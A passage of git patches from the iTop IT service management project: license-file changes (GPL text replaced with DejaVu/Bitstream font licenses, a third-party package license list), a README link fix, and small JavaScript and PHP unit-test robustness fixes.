giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. - -********************************************************************** -********************************************************************** + Fonts are (c) Bitstream (see below). DejaVu changes are in public domain. +Glyphs imported from Arev fonts are (c) Tavmjong Bah (see below) + +Bitstream Vera Fonts Copyright +------------------------------ + +Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is +a trademark of Bitstream, Inc. + +Permission is hereby granted, free of charge, to any person obtaining a copy +of the fonts accompanying this license ("Fonts") and associated +documentation files (the "Font Software"), to reproduce and distribute the +Font Software, including without limitation the rights to use, copy, merge, +publish, distribute, and/or sell copies of the Font Software, and to permit +persons to whom the Font Software is furnished to do so, subject to the +following conditions: + +The above copyright and trademark notices and this permission notice shall +be included in all copies of one or more of the Font Software typefaces. + +The Font Software may be modified, altered, or added to, and in particular +the designs of glyphs or characters in the Fonts may be modified and +additional glyphs or characters may be added to the Fonts, only if the fonts +are renamed to names not containing either the words "Bitstream" or the word +"Vera". + +This License becomes null and void to the extent applicable to Fonts or Font +Software that has been modified and is distributed under the "Bitstream +Vera" names. + +The Font Software may be sold as part of a larger software package but no +copy of one or more of the Font Software typefaces may be sold by itself. + +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS +OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, +TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME +FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING +ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, +WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF +THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE +FONT SOFTWARE. + +Except as contained in this notice, the names of Gnome, the Gnome +Foundation, and Bitstream Inc., shall not be used in advertising or +otherwise to promote the sale, use or other dealings in this Font Software +without prior written authorization from the Gnome Foundation or Bitstream +Inc., respectively. For further information, contact: fonts at gnome dot +org. + +Arev Fonts Copyright +------------------------------ + +Copyright (c) 2006 by Tavmjong Bah. All Rights Reserved. + +Permission is hereby granted, free of charge, to any person obtaining +a copy of the fonts accompanying this license ("Fonts") and +associated documentation files (the "Font Software"), to reproduce +and distribute the modifications to the Bitstream Vera Font Software, +including without limitation the rights to use, copy, merge, publish, +distribute, and/or sell copies of the Font Software, and to permit +persons to whom the Font Software is furnished to do so, subject to +the following conditions: + +The above copyright and trademark notices and this permission notice +shall be included in all copies of one or more of the Font Software +typefaces. + +The Font Software may be modified, altered, or added to, and in +particular the designs of glyphs or characters in the Fonts may be +modified and additional glyphs or characters may be added to the +Fonts, only if the fonts are renamed to names not containing either +the words "Tavmjong Bah" or the word "Arev". + +This License becomes null and void to the extent applicable to Fonts +or Font Software that has been modified and is distributed under the +"Tavmjong Bah Arev" names. + +The Font Software may be sold as part of a larger software package but +no copy of one or more of the Font Software typefaces may be sold by +itself. + +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL +TAVMJONG BAH BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. + +Except as contained in this notice, the name of Tavmjong Bah shall not +be used in advertising or otherwise to promote the sale, use or other +dealings in this Font Software without prior written authorization +from Tavmjong Bah. For further information, contact: tavmjong @ free +. fr. + +$Id: LICENSE 2133 2007-11-28 02:46:28Z lechimp $ ]]> container-interop/container-interop - + MIT doctrine/lexer - # - + Guilherme Blanco - Roman Borschel - Johannes Schmitt + MIT egulias/email-validator - # - + Eduardo Gulias Davis + MIT firebase/php-jwt - # - + Neuman Vong - Anant Narayanan + BSD-3-Clause guzzlehttp/guzzle - # - + Graham Campbell - Michael Dowling - Jeremy Lindblom - George Mponos - Tobias Nyholm - Márk Sági-Kazár - Tobias Schultze + MIT guzzlehttp/promises - # - + Graham Campbell - Michael Dowling - Tobias Nyholm - Tobias Schultze + MIT guzzlehttp/psr7 - # - + Graham Campbell - Michael Dowling - George Mponos - Tobias Nyholm - Márk Sági-Kazár - Tobias Schultze + MIT laminas/laminas-loader - + BSD-3-Clause laminas/laminas-mail - + BSD-3-Clause laminas/laminas-mime - + BSD-3-Clause laminas/laminas-servicemanager - + BSD-3-Clause laminas/laminas-stdlib - + BSD-3-Clause laminas/laminas-validator - + BSD-3-Clause laminas/laminas-zendframework-bridge - + BSD-3-Clause league/oauth2-client - # - + Alex Bilbie - Woody Gilk + MIT league/oauth2-google - # - + Woody Gilk + MIT nikic/php-parser - # - + Nikita Popov + BSD-3-Clause paragonie/random_compat - # - + Paragon Initiative Enterprises + MIT pear/archive_tar - # - + Vincent Blavet - Greg Beaver - Michiel Rook + BSD-3-Clause pear/console_getopt - # - + Andrei Zmievski - Stig Bakken - Greg Beaver + BSD-2-Clause pear/pear-core-minimal - # - + Christian Weiske + BSD-3-Clause pear/pear_exception - # - + Helgi Thormar - Greg Beaver + BSD-2-Clause , @@ -4180,8 +3419,8 @@ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. pelago/emogrifier - # - + Oliver Klee - Zoli Szabó - John Reeve - Jake Hotson - Cameron Brooks - Jaime Prado + MIT psr/cache - # - + PHP-FIG + MIT psr/container - # - + PHP-FIG + MIT psr/http-message - # - + PHP-FIG + MIT psr/log - # - + PHP-FIG + MIT psr/simple-cache - # - + PHP-FIG + MIT ralouphie/getallheaders - # - + Ralph Khattar + MIT scssphp/scssphp - # - + Anthon Pang - Cédric Morin + MIT swiftmailer/swiftmailer - # - + Chris Corbyn - Fabien Potencier + MIT symfony/cache - # - + Nicolas Grekas - Symfony Community + MIT symfony/class-loader - # - + Fabien Potencier - Symfony Community + MIT symfony/config - # - + Fabien Potencier - Symfony Community + MIT symfony/console - # - + Fabien Potencier - Symfony Community + MIT symfony/css-selector - # - + Fabien Potencier - Jean-François Simon - Symfony Community + MIT symfony/debug - # - + Fabien Potencier - Symfony Community + MIT symfony/dependency-injection - # - + Fabien Potencier - Symfony Community + MIT symfony/dotenv - # - + Fabien Potencier - Symfony Community + MIT symfony/event-dispatcher - # - + Fabien Potencier - Symfony Community + MIT symfony/filesystem - # - + Fabien Potencier - Symfony Community + MIT symfony/finder - # - + Fabien Potencier - Symfony Community + MIT symfony/framework-bundle - # - + Fabien Potencier - Symfony Community + MIT symfony/http-foundation - # - + Fabien Potencier - Symfony Community + MIT symfony/http-kernel - # - + Fabien Potencier - Symfony Community + MIT symfony/polyfill-apcu - # - + Nicolas Grekas - Symfony Community + MIT symfony/polyfill-ctype - # - + Gert de Pagter - Symfony Community + MIT symfony/polyfill-iconv - # - + Nicolas Grekas - Symfony Community + MIT symfony/polyfill-intl-idn - # - + Laurent Bassin - Trevor Rowbotham - Symfony Community + MIT @@ -4891,8 +4130,8 @@ THE SOFTWARE. symfony/polyfill-intl-normalizer - # - + Nicolas Grekas - Symfony Community + MIT symfony/polyfill-mbstring - # - + Nicolas Grekas - Symfony Community + MIT symfony/polyfill-php56 - # - + Nicolas Grekas - Symfony Community + MIT symfony/polyfill-php70 - # - + Nicolas Grekas - Symfony Community + MIT symfony/polyfill-php72 - # - + Nicolas Grekas - Symfony Community + MIT symfony/polyfill-util - # - + Nicolas Grekas - Symfony Community + MIT symfony/routing - # - + Fabien Potencier - Symfony Community + MIT symfony/stopwatch - # - + Fabien Potencier - Symfony Community + MIT symfony/twig-bridge - # - + Fabien Potencier - Symfony Community + MIT symfony/twig-bundle - # - + Fabien Potencier - Symfony Community + MIT symfony/var-dumper - # - + Nicolas Grekas - Symfony Community + MIT symfony/web-profiler-bundle - # - + Fabien Potencier - Symfony Community + MIT symfony/yaml - # - + Fabien Potencier - Symfony Community + MIT thenetworg/oauth2-azure - # - + Jan Hajek + MIT true/punycode - # - + Renan Gonçalves + MIT twig/twig - # - + Fabien Potencier - Twig Team - Armin Ronacher + BSD-3-Clause Date: Tue, 14 Mar 2023 17:08:55 +0100 Subject: [PATCH 190/230] README : fix requirements link --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index ac2d8bbcf..ceb645328 100644 --- a/README.md +++ b/README.md @@ -37,7 +37,7 @@ iTop also offers mass import tools to help you being even more efficient. - [iTop Forums][1]: community support - [iTop Tickets][2]: for feature requests and bug reports - [Releases download][3] - - [Software requirements][4] + - [iTop requirements][4] - [Documentation][5] covering both iTop and its official extensions - [iTop Hub][6] : discover and install extensions ! @@ -45,7 +45,7 @@ iTop also offers mass import tools to help you being even more efficient. [1]: https://sourceforge.net/p/itop/discussion/ [2]: https://sourceforge.net/p/itop/tickets/ [3]: https://sourceforge.net/projects/itop/files/itop/ -[4]: https://www.itophub.io/wiki/page?id=latest:install:upgrading_itop +[4]: https://www.itophub.io/wiki/page?id=latest:install:requirements [5]: https://www.itophub.io/wiki [6]: https://store.itophub.io/en_US/ From 0f016d751167bb50fc4ba19b2328d6c73f17ed04 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Fri, 17 Mar 2023 15:37:47 +0100 Subject: [PATCH 191/230] =?UTF-8?q?N=C2=B06112=20-=20Dashboard:=20Improve?= =?UTF-8?q?=20robustness=20by=20trimming=20dashlet=20ID=20returned=20by=20?= =?UTF-8?q?server?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- js/dashboard.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/js/dashboard.js b/js/dashboard.js index bcf20dd00..b9bbd8944 100644 --- a/js/dashboard.js +++ b/js/dashboard.js @@ -345,7 +345,7 @@ $(function() oParams.dashletid = sTempDashletId; $.post(this.options.new_dashletid_endpoint, oParams, function(data) { - var sFinalDashletId = data; + var sFinalDashletId = data.trim(); me.add_dashlet_prepare(options, sFinalDashletId); }); }, From 307edd3f7a3715e2b95e0b4960cf62b23d3f06e4 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Tue, 21 Mar 2023 09:03:54 +0100 Subject: [PATCH 192/230] :white_check_mark: Fix AttributeDefinitionTest parse error in PHP 7.2 --- .../core/AttributeDefinitionTest.php | 28 ++++++++++++------- 1 file changed, 18 insertions(+), 10 deletions(-) diff --git a/tests/php-unit-tests/unitary-tests/core/AttributeDefinitionTest.php b/tests/php-unit-tests/unitary-tests/core/AttributeDefinitionTest.php index 624642a13..b8abf5d75 100644 --- a/tests/php-unit-tests/unitary-tests/core/AttributeDefinitionTest.php +++ b/tests/php-unit-tests/unitary-tests/core/AttributeDefinitionTest.php @@ -2,7 +2,6 @@ namespace Combodo\iTop\Test\UnitTest\Core; -use CMDBSource; use Combodo\iTop\Test\UnitTest\ItopDataTestCase; use MetaModel; @@ -76,7 +75,8 @@ class AttributeDefinitionTest extends ItopDataTestCase { \$ormLinkset = \$oObject->Get('workorders_list'); \$ormLinkset->AddItem(MetaModel::NewObject('WorkOrder', [])); \$oObject->Set('workorders_list', \$ormLinkset); -PHP, +PHP + , false, true, ], @@ -88,7 +88,8 @@ PHP, \$ormLinkset = \$oObject->Get('contacts_list'); \$ormLinkset->AddItem(MetaModel::NewObject('lnkContactToTicket', [])); \$oObject->Set('contacts_list', \$ormLinkset); -PHP, +PHP + , false, true, ], @@ -97,7 +98,8 @@ PHP, 'value', <<Set('value', 100); -PHP, +PHP + , false, true, ], @@ -106,7 +108,8 @@ PHP, 'speed', <<Set('speed', 1024.5); -PHP, +PHP + , false, true, ], @@ -115,7 +118,8 @@ PHP, 'title', <<Set('title', 'Some title'); -PHP, +PHP + , false, true, ], @@ -124,7 +128,8 @@ PHP, 'item_id', <<Set('item_id', 12); -PHP, +PHP + , false, true, ], @@ -133,7 +138,8 @@ PHP, 'org_id', <<Set('org_id', 3); -PHP, +PHP + , false, true, ], @@ -142,7 +148,8 @@ PHP, 'file', <<Set('file', new ormDocument('something', 'text/plain', 'something.txt')); -PHP, +PHP + , false, true, ], @@ -167,7 +174,8 @@ PHP, /** @var \ormPassword \$ormPassword */ \$ormPassword = new ormPassword('somehash', 'somesalt'); \$oObject->Set('password', \$ormPassword); -PHP, +PHP + , false, true, ], From 78d8829d659d7ade0bbcd32aa9fad8bf7dddd05f Mon Sep 17 00:00:00 2001 From: Molkobain Date: Mon, 27 Mar 2023 18:04:01 +0200 Subject: [PATCH 193/230] =?UTF-8?q?N=C2=B06131=20-=20Improve=20robustness?= =?UTF-8?q?=20of=20tooltips=20helper=20when=20no=20DOM=20element=20passed?= =?UTF-8?q?=20to=20CombodoTooltip::InitTooltipFromMarkup()?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- js/utils.js | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/js/utils.js b/js/utils.js index 4e22b82c7..04fad01b2 100644 --- a/js/utils.js +++ b/js/utils.js @@ -794,8 +794,12 @@ const CombodoTooltip = { InitTooltipFromMarkup: function (oElem, bForce = false) { const oOptions = {}; - // First, check if the tooltip isn't already instantiated - if ((oElem.attr('data-tooltip-instantiated') === 'true') && (bForce === false)) { + // First, check if the jQuery element actually represent DOM elements + if (oElem.length === 0) { + return false; + } + // Then, check if the tooltip isn't already instantiated + else if ((oElem.attr('data-tooltip-instantiated') === 'true') && (bForce === false)) { return false; } else if((oElem.attr('data-tooltip-instantiated') === 'true') && (bForce === true) && (oElem[0]._tippy !== undefined)){ From 75df33f60679b38f922b52a10a6fdf941a646748 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Thu, 30 Mar 2023 18:39:09 +0200 Subject: [PATCH 194/230] =?UTF-8?q?N=C2=B06139=20-=20Add=20HTML=20metadata?= =?UTF-8?q?=20on=20activity=20panel=20to=20be=20aligned=20with=20regular?= =?UTF-8?q?=20fields?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../CaseLogEntryForm/CaseLogEntryForm.php | 10 ++++++++++ .../activity-panel/caselog-entry-form/layout.html.twig | 3 +++ 2 files changed, 13 insertions(+) diff --git a/sources/application/UI/Base/Layout/ActivityPanel/CaseLogEntryForm/CaseLogEntryForm.php 